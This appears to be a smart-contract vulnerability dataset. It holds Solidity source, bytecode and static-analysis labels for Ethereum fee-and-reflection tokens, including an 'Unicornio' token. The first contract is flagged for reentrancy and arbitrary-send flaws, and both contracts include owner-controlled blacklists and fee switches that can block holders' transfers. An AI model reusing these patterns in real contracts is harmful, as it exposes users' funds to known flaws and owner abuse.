}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101db5760003560e01c80637d1db4a511610102578063a2a957bb11610095578063c492f04611610064578063c492f04614610571578063dd62ed3e14610591578063ea1644d5146105d7578063f2fde38b146105f757600080fd5b8063a2a957bb146104ec578063a9059cbb1461050c578063bfd792841461052c578063c3c8cd801461055c57600080fd5b80638f70ccf7116100d15780638f70ccf7146104695780638f9a55c01461048957806395d89b411461049f57806398a5c315146104cc57600080fd5b80637d1db4a5146103f35780637f2feddc146104095780638203f5fe146104365780638da5cb5b1461044b57600080fd5b8063313ce5671161017a5780636fc3eaec116101495780636fc3eaec1461038957806370a082311461039e578063715018a6146103be57806374010ece146103d357600080fd5b8063313ce5671461030d57806349bd5a5e146103295780636b999053146103495780636d8aa8f81461036957600080fd5b80631694505e116101b65780631694505e1461027a57806318160ddd146102b257806323b872dd146102d75780632fd689e3146102f757600080fd5b8062b8cf2a146101e757806306fdde0314610209578063095ea7b31461024a57600080fd5b366101e257005b600080fd5b3480156101f357600080fd5b50610207610202366004611b2e565b610617565b005b34801561021557600080fd5b506040805180820190915260068152654772756d707960d01b60208201525b6040516102419190611bf3565b60405180910390f35b34801561025657600080fd5b5061026a610265366004611c48565b6106b6565b6040519015158152602001610241565b34801561028657600080fd5b5060135461029a906001600160a01b031681565b6040516001600160a01b039091168152602001610241565b3480156102be57600080fd5b50678ac7230489e800005b604051908152602001610241565b3480156102e357600080fd5b5061026a6102f2366004611c74565b6106cd565b34801561030357600080fd5b506102c960175481565b34801561031957600080fd5b5060405160098152602001610241565b34801561033557600080fd5b5060145461029a906001600160a01b031681565b34801561035557600080fd5b50610207610364366004611cb5565b610736565b34801561037557600080fd5b50610207610384366004611ce2565b610781565b34801561039557600080fd5b506102076107c9565b3480156103aa57600080fd5b506102c96103b9366004611cb5565b6107f6565b3480156103ca57600080fd5b50610207610818565b3480156103df57600080fd5b506102076103ee366004611cfd565b61088c565b3480156103ff57600080fd5b506102c960155481565b34801561041557600080fd5b506102c9610424366004611cb5565b60116020526000908152604090205481565b34801561044257600080fd5b506102076108ce565b34801561045757600080fd5b506000546001600160a01b031661029a565b34801561047557600080fd5b50610207610484366004611ce2565b610a86565b34801561049557600080fd5b506102c960165481565b3480156104ab57600080fd5b5060408051808201909152600481526347494e5560e01b6020820152610234565b3480156104d857600080fd5b506102076104e7366004611cfd565b610ae5565b3480156104f857600080fd5b50610207610507366004611d16565b610b14565b34801561051857600080fd5b5061026a610527366004611c48565b610b6e565b34801561053857600080fd5b5061026a610547366004611cb5565b60106020526000908152604090205460ff1681565b34801561056857600080fd5b50610207610b7b565b34801561057d57600080fd5b5061020761058c366004611d48565b610bb1565b34801561059d57600080fd5b506102c96105ac366004611dcc565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105e357600080fd5b506102076105f2366004611cfd565b610c52565b34801561060357600080fd5b50610207610612366004611cb5565b610c81565b6000546001600160a01b0316331461064a5760405162461bcd60e51b815260040161064190611e05565b60405180910390fd5b60005b81518110156106b25760016010600084848151811061066e5761066e611e3a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106aa81611e66565b91505061064d565b5050565b60006106c3338484610d6b565b5060015b92915050565b60006106da848484610e8f565b61072c843361072785604051806060016040528060288152602001611f80602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906113cb565b610d6b565b5060019392505050565b6000546001600160a01b031633146107605760405162461bcd60e51b815260040161064190611e05565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107ab5760405162461bcd60e51b815260040161064190611e05565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107e957600080fd5b476107f381611405565b50565b6001600160a01b0381166000908152600260205260408120546106c79061143f565b6000546001600160a01b031633146108425760405162461bcd60e51b815260040161064190611e05565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b65760405162461bcd60e51b815260040161064190611e05565b6611c37937e0800081116108c957600080fd5b601555565b6000546001600160a01b031633146108f85760405162461bcd60e51b815260040161064190611e05565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa15801561095d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109819190611e81565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f29190611e81565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a3f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a639190611e81565b601480546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610ab05760405162461bcd60e51b815260040161064190611e05565b601454600160a01b900460ff1615610ac757600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610b0f5760405162461bcd60e51b815260040161064190611e05565b601755565b6000546001600160a01b03163314610b3e5760405162461bcd60e51b815260040161064190611e05565b60095482111580610b515750600b548111155b610b5a57600080fd5b600893909355600a91909155600955600b55565b60006106c3338484610e8f565b6012546001600160a01b0316336001600160a01b031614610b9b57600080fd5b6000610ba6306107f6565b90506107f3816114c3565b6000546001600160a01b03163314610bdb5760405162461bcd60e51b815260040161064190611e05565b60005b82811015610c4c578160056000868685818110610bfd57610bfd611e3a565b9050602002016020810190610c129190611cb5565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610c4481611e66565b915050610bde565b50505050565b6000546001600160a01b03163314610c7c5760405162461bcd60e51b815260040161064190611e05565b601655565b6000546001600160a01b03163314610cab5760405162461bcd60e51b815260040161064190611e05565b6001600160a01b038116610d105760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610641565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610dcd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610641565b6001600160a01b038216610e2e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610641565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ef35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610641565b6001600160a01b038216610f555760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610641565b60008111610fb75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610641565b6000546001600160a01b03848116911614801590610fe357506000546001600160a01b03838116911614155b156112c457601454600160a01b900460ff1661107c576000546001600160a01b0384811691161461107c5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610641565b6015548111156110ce5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610641565b6001600160a01b03831660009081526010602052604090205460ff1615801561111057506001600160a01b03821660009081526010602052604090205460ff16155b6111685760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610641565b6014546001600160a01b038381169116146111ed576016548161118a846107f6565b6111949190611e9e565b106111ed5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610641565b60006111f8306107f6565b6017546015549192508210159082106112115760155491505b8080156112285750601454600160a81b900460ff16155b801561124257506014546001600160a01b03868116911614155b80156112575750601454600160b01b900460ff165b801561127c57506001600160a01b03851660009081526005602052604090205460ff16155b80156112a157506001600160a01b03841660009081526005602052604090205460ff16155b156112c1576112af826114c3565b4780156112bf576112bf47611405565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061130657506001600160a01b03831660009081526005602052604090205460ff165b8061133857506014546001600160a01b0385811691161480159061133857506014546001600160a01b03848116911614155b15611345575060006113bf565b6014546001600160a01b03858116911614801561137057506013546001600160a01b03848116911614155b1561138257600854600c55600954600d555b6014546001600160a01b0384811691161480156113ad57506013546001600160a01b03858116911614155b156113bf57600a54600c55600b54600d555b610c4c8484848461163d565b600081848411156113ef5760405162461bcd60e51b81526004016106419190611bf3565b5060006113fc8486611eb6565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106b2573d6000803e3d6000fd5b60006006548211156114a65760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610641565b60006114b061166b565b90506114bc838261168e565b9392505050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061150b5761150b611e3a565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611564573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115889190611e81565b8160018151811061159b5761159b611e3a565b6001600160a01b0392831660209182029290920101526013546115c19130911684610d6b565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906115fa908590600090869030904290600401611ecd565b600060405180830381600087803b15801561161457600080fd5b505af1158015611628573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b8061164a5761164a6116d0565b6116558484846116fe565b80610c4c57610c4c600e54600c55600f54600d55565b60008060006116786117f5565b9092509050611687828261168e565b9250505090565b60006114bc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611835565b600c541580156116e05750600d54155b156116e757565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061171087611863565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061174290876118c0565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546117719086611902565b6001600160a01b03891660009081526002602052604090205561179381611961565b61179d84836119ab565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516117e291815260200190565b60405180910390a3505050505050505050565b6006546000908190678ac7230489e80000611810828261168e565b82101561182c57505060065492678ac7230489e8000092509050565b90939092509050565b600081836118565760405162461bcd60e51b81526004016106419190611bf3565b5060006113fc8486611f3e565b60008060008060008060008060006118808a600c54600d546119cf565b925092509250600061189061166b565b905060008060006118a38e878787611a24565b919e509c509a509598509396509194505050505091939550919395565b60006114bc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113cb565b60008061190f8385611e9e565b9050838110156114bc5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610641565b600061196b61166b565b905060006119798383611a74565b306000908152600260205260409020549091506119969082611902565b30600090815260026020526040902055505050565b6006546119b890836118c0565b6006556007546119c89082611902565b6007555050565b60008080806119e960646119e38989611a74565b9061168e565b905060006119fc60646119e38a89611a74565b90506000611a1482611a0e8b866118c0565b906118c0565b9992985090965090945050505050565b6000808080611a338886611a74565b90506000611a418887611a74565b90506000611a4f8888611a74565b90506000611a6182611a0e86866118c0565b939b939a50919850919650505050505050565b600082611a83575060006106c7565b6000611a8f8385611f60565b905082611a9c8583611f3e565b146114bc5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610641565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f357600080fd5b8035611b2981611b09565b919050565b60006020808385031215611b4157600080fd5b823567ffffffffffffffff80821115611b5957600080fd5b818501915085601f830112611b6d57600080fd5b813581811115611b7f57611b7f611af3565b8060051b604051601f19603f83011681018181108582111715611ba457611ba4611af3565b604052918252848201925083810185019188831115611bc257600080fd5b938501935b82851015611be757611bd885611b1e565b84529385019392850192611bc7565b98975050505050505050565b600060208083528351808285015260005b81811015611c2057858101830151858201604001528201611c04565b81811115611c32576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c5b57600080fd5b8235611c6681611b09565b946020939093013593505050565b600080600060608486031215611c8957600080fd5b8335611c9481611b09565b92506020840135611ca481611b09565b929592945050506040919091013590565b600060208284031215611cc757600080fd5b81356114bc81611b09565b80358015158114611b2957600080fd5b600060208284031215611cf457600080fd5b6114bc82611cd2565b600060208284031215611d0f57600080fd5b5035919050565b60008060008060808587031215611d2c57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d5d57600080fd5b833567ffffffffffffffff80821115611d7557600080fd5b818601915086601f830112611d8957600080fd5b813581811115611d9857600080fd5b8760208260051b8501011115611dad57600080fd5b602092830195509350611dc39186019050611cd2565b90509250925092565b60008060408385031215611ddf57600080fd5b8235611dea81611b09565b91506020830135611dfa81611b09565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611e7a57611e7a611e50565b5060010190565b600060208284031215611e9357600080fd5b81516114bc81611b09565b60008219821115611eb157611eb1611e50565b500190565b600082821015611ec857611ec8611e50565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611f1d5784516001600160a01b031683529383019391830191600101611ef8565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f5b57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f7a57611f7a611e50565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b38d611b6174d46d6de3c4484278f0860520e1e5e2b27f92ce9353f5d202a8ad64736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,463 |
0x81b94eca81648babb658124e671793754786101b
|
/**
*Submitted for verification at Etherscan.io on 2021-06-10
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract unicornio is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Unicornio\xf0\x9f\xa6\x84";
string private constant _symbol = "Unicornio\xf0\x9f\xa6\x84";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _cooldownSeconds = 60;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (_cooldownSeconds * 1 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function addLiquidityETH() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function setCooldownSeconds(uint256 cooldownSecs) external onlyOwner() {
require(cooldownSecs > 0, "Secs must be greater than 0");
_cooldownSeconds = cooldownSecs;
}
}
|
0x6080604052600436106101175760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb14610383578063c3c8cd80146103c0578063d543dbeb146103d7578063dd62ed3e14610400578063ed9953071461043d5761011e565b806370a08231146102b0578063715018a6146102ed5780637b5b1157146103045780638da5cb5b1461032d57806395d89b41146103585761011e565b806323b872dd116100e757806323b872dd146101df578063313ce5671461021c5780635932ead1146102475780636b999053146102705780636fc3eaec146102995761011e565b8062b8cf2a1461012357806306fdde031461014c578063095ea7b31461017757806318160ddd146101b45761011e565b3661011e57005b600080fd5b34801561012f57600080fd5b5061014a60048036038101906101459190612b5f565b610454565b005b34801561015857600080fd5b506101616105a4565b60405161016e9190613023565b60405180910390f35b34801561018357600080fd5b5061019e60048036038101906101999190612b23565b6105e1565b6040516101ab9190613008565b60405180910390f35b3480156101c057600080fd5b506101c96105ff565b6040516101d691906131e5565b60405180910390f35b3480156101eb57600080fd5b5061020660048036038101906102019190612ad4565b610610565b6040516102139190613008565b60405180910390f35b34801561022857600080fd5b506102316106e9565b60405161023e919061325a565b60405180910390f35b34801561025357600080fd5b5061026e60048036038101906102699190612ba0565b6106f2565b005b34801561027c57600080fd5b5061029760048036038101906102929190612a46565b6107a4565b005b3480156102a557600080fd5b506102ae610894565b005b3480156102bc57600080fd5b506102d760048036038101906102d29190612a46565b610906565b6040516102e491906131e5565b60405180910390f35b3480156102f957600080fd5b50610302610957565b005b34801561031057600080fd5b5061032b60048036038101906103269190612bf2565b610aaa565b005b34801561033957600080fd5b50610342610b8c565b60405161034f9190612f3a565b60405180910390f35b34801561036457600080fd5b5061036d610bb5565b60405161037a9190613023565b60405180910390f35b34801561038f57600080fd5b506103aa60048036038101906103a59190612b23565b610bf2565b6040516103b79190613008565b60405180910390f35b3480156103cc57600080fd5b506103d5610c10565b005b3480156103e357600080fd5b506103fe60048036038101906103f99190612bf2565b610c8a565b005b34801561040c57600080fd5b5061042760048036038101906104229190612a98565b610dd3565b60405161043491906131e5565b60405180910390f35b34801561044957600080fd5b50610452610e5a565b005b61045c6113b6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e090613145565b60405180910390fd5b60005b81518110156105a0576001600a6000848481518110610534577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610598906134fb565b9150506104ec565b5050565b60606040518060400160405280600d81526020017f556e69636f726e696ff09fa68400000000000000000000000000000000000000815250905090565b60006105f56105ee6113b6565b84846113be565b6001905092915050565b6000683635c9adc5dea00000905090565b600061061d848484611589565b6106de846106296113b6565b6106d98560405180606001604052806028815260200161394760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068f6113b6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d559092919063ffffffff16565b6113be565b600190509392505050565b60006009905090565b6106fa6113b6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610787576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077e90613145565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b6107ac6113b6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610839576040517f08c379a0000